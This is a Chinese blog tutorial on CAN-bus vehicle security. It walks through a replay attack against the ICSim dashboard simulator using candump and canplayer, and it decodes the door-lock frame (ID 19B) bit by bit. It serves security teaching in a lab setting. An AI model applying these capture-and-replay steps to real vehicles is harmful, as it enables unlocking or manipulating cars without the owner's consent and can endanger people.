序
車聯網安全是目前較為熱門的發展方向,但是由于他的入門門檻太高(沒有實車)導致大部分人被卡在門檻這里,所以我總結了網上的相關資料寫出這篇文章,可以讓學習車聯網安全的同學來模擬控制一輛車是什么樣的感覺,本篇文章通過Ubuntu模擬了車載CAN總線的收發包來進行操作學習,接下來跟著我一步步操作來打開車聯網安全的大門吧!
什么是CAN總線
CAN總線又稱控制器局域網是Controller Area Network的縮寫,CAN總線是一種功能豐富的車用總線標準,被設計用于在不需要主機(Host)的情況下,允許網路上的單片機和儀器相互通信, 它基于訊息傳遞協議,設計之初在車輛上采用復用通信線纜,以降低銅線使用量,后來也被其他行業所使用,簡單來說就是用來控制車輛功能的通信協議,比如車門解鎖、轉向燈、剎車、油門等,為什么要使用CAN協議,簡單來說就是便宜好用,
CAN總線特性
安全性:
CAN是低級協議,不支持任何內在的安全功能,在標準的CAN中也沒有加密,這使得這些網路資料能被截取,在大多數應用中,應用程式需要部署自己的安全機制,例如認證傳入命令或網路上某些設備的存在,若不執行適當的安全措施,其他人可能設法在總線上插入訊息,盡管一些安全關鍵功能(如修改韌體,編程鍵或控制防抱死制動)存在密碼,但這些系統并未普遍實施,并且密鑰對的數量有限,
通信機制:
多主機-即每個節點都有接入總線的能力,
尋址機制:
訊息區別:不設節點的地址,通過訊息的標志符來區別訊息,
幀型別:
資料幀、遠程幀、錯誤幀、超載幀、幀間隔
攻擊方式:
- 應用報文模糊測驗
- Dos攻擊測驗
- 重放攻擊
由于CAN總線上面的資料包沒有任何加密,所以這些資料包能夠被截取竊聽,由于車載網路使用CAN協議進行通信,所以我們可以聯想到車聯的功能也是通過CAN網路進行資料發送和交換,比如我們打開左轉向燈,那么電信號就會通過CAN總線發送到網路上的每個設備,然后左轉向燈會解釋資料包并且執行資料包中的指令,
在網路上發送的資料包由兩部分組成:識別符號和資料,識別符號是車輛中設備的表示,資料欄位表示要與所述設備一起完成的指令,讓我們看下面的例子:
(1668496788.311506) vcan0 095#800007F400000017
資料包的開始部分是識別符號,在這種情況下,識別符號是095,#之后的資料包剩余部分是資料欄位,
可以看下Wireshark抓到的包

識別符號在不同車型,相同車型不同年份的情況下也是不相同的,如果是相同車型相同年份的車型那么識別符號大概率是通用的,不同的識別符號表示車上不同的設備發的包,后面我們需要找到我們想要控制車輛功能的識別符號包,
攻擊方式
在前面CAN總線特性處我們寫的CAN總線攻擊方式包括應用報文模糊測驗、Dos攻擊測驗、重放攻擊等,接下來我們來實操一下重放攻擊,顧名思義就是可以截取資料包然后重新發送導致車輛處于我們的控制之下而不受到車輛所有人的操控,
安裝工具
- kali2022.03
- ICSim (儀表盤模擬器)
- Socketcand(CAN網路)
- Kayak(一款基于SocketCAN的CAN總線分析工具)
ICSim是一個開源的車輛儀表模擬器,該模擬器包含controls和ICSim兩個模塊,其中controls負責生成模擬的車輛資料,以CAN報文的方式發送給虛擬的CAN介面,ICSim從虛擬CAN介面讀取CAN報文,并在儀表上更新對應零件的狀態,如車速、車門狀態等等,
安裝依賴
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf


安裝ICSim
下載
git clone https://github.com/zombieCraig/ICSim.git
編譯
cd ICSim/
sudo make

安裝socketcand
下載
git clone https://github.com/linux-can/socketcand.git
獲取缺少的檔案
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in

編譯安裝
cd socketcand/
autoconf

./configure

make clean

make

sudo make install

安裝Kayak
下載
git clone https://github.com/dschanoeh/Kayak.git
安裝
cd Kayak/
mvn clean package

至此,全部安裝完畢,
開始攻擊
首先設定vcan(虛擬CAN)介面
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

打開儀表盤模擬器
./icsim vcan0

打開儀表盤控制器
./controls vcan0

點擊儀表盤控制器界面就可以模擬操縱車輛了,
| 功能 | 控制按鈕 |
|---|---|
| 轉向燈 | 鍵盤左右鍵 |
| 速度 | 鍵盤上下鍵 |
| 開車門 | 右SHIFT鍵+A |
| 關車門 | 左SHIFT鍵+A |
| 開啟全部車門 | 左SHIFT鍵+右SHIFT鍵 |
| 關閉全部車門 | 右SHIFT鍵+左SHIFT鍵 |

使用candump進行抓包
candump vcan0 -l
CTRL+C停止

看到抓到的包,由于CAN在不停的通信所以包會非常大,

接下來我們找到CAN網路上面控制車輛的資料包對他進行攻擊,
監聽抓包,然后打開所有車門然后關閉,
抓到了一萬多個包,

嘗試重放我們的包
canplayer -I candump-2022-11-15_052559.log
可以看到全部車門打開隨即關閉,

接下來我們采用二分法每次洗掉一半來查找關閉車門的包,
最終通過二分法找到打開所有車門的包為:
(1668507963.222323) vcan0 19B#000000000000

其中的19B是設備識別符號,在資料包中查找19B,
└─$ grep 19B candump-2022-11-15_052559.log
(1668507960.512530) vcan0 244#000000019B
(1668507962.233563) vcan0 19B#00000F000000
(1668507963.222323) vcan0 19B#000000000000
(1668507963.517110) vcan0 244#000000019B
(1668507964.208966) vcan0 19B#00000F000000
(1668507965.319056) vcan0 244#000000019B

我們可以看到其中有一個19B#00000F000000,如果我們得到19B#000000000000是打開所有車門,那么后面我們也進行了關閉所有車門的操作,可以猜測19B#00000F000000是關閉所有車門,

可以看到上圖,我們成功關閉了所有車門,
如上可知這個資料包中通過第三位位元組來控制,
(1668507962.233563) vcan0 19B#00000F000000 //打開所有車門
(1668507963.222323) vcan0 19B#000000000000 //關閉所有車門
鎖上所有門的資料包將半位元組表示為十六進制F,將其分解為二進制可得出 16 種可能的門組合,
| 二進制 | 十六進制 |
|---|---|
| 0000 | 0 |
| 0001 | 1 |
| 0010 | 2 |
| 0011 | 3 |
| 0100 | 4 |
| 0101 | 5 |
| 0110 | 6 |
| 0111 | 7 |
| 1000 | 8 |
| 1001 | 9 |
| 1010 | a |
| 1011 | b |
| 1100 | c |
| 1101 | d |
| 1110 | e |
| 1111 | f |
嘗試字符控制的不同車門,
| 字符 | 車門 |
|---|---|
| 8 | 右后車門 |
| 4 | 左后車門 |
| 2 | 右前車門 |
| 1 | 左前車門 |
假設1是鎖門的動作,0是解鎖門的動作,因此,當我們識別我們的門時,識別出的門會收到鎖門的指令,而其他門會收到解鎖的指令,比如字符8的二進制是1000那么就是鎖門,開門,開門,開門,
右后車門 左后車門 右前車門 左前車門
8 4 2 1
1 1 0 0 等于 C
可以嘗試查看C是不是關閉了后排兩個門,打開了前排兩個門,

至此,就可以操控每個門的開關了,同理,轉向和油門都是相同原理,
參考
控制器區域網路
零成本入門車聯網安全研究
本文來自博客園,作者:知冰,轉載請注明原文鏈接:https://www.cnblogs.com/zhibing/p/16895863.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/535178.html
標籤:其他
上一篇:6個步驟強化 CI/CD 安全
下一篇:緩沖區作業原理學習和攻擊
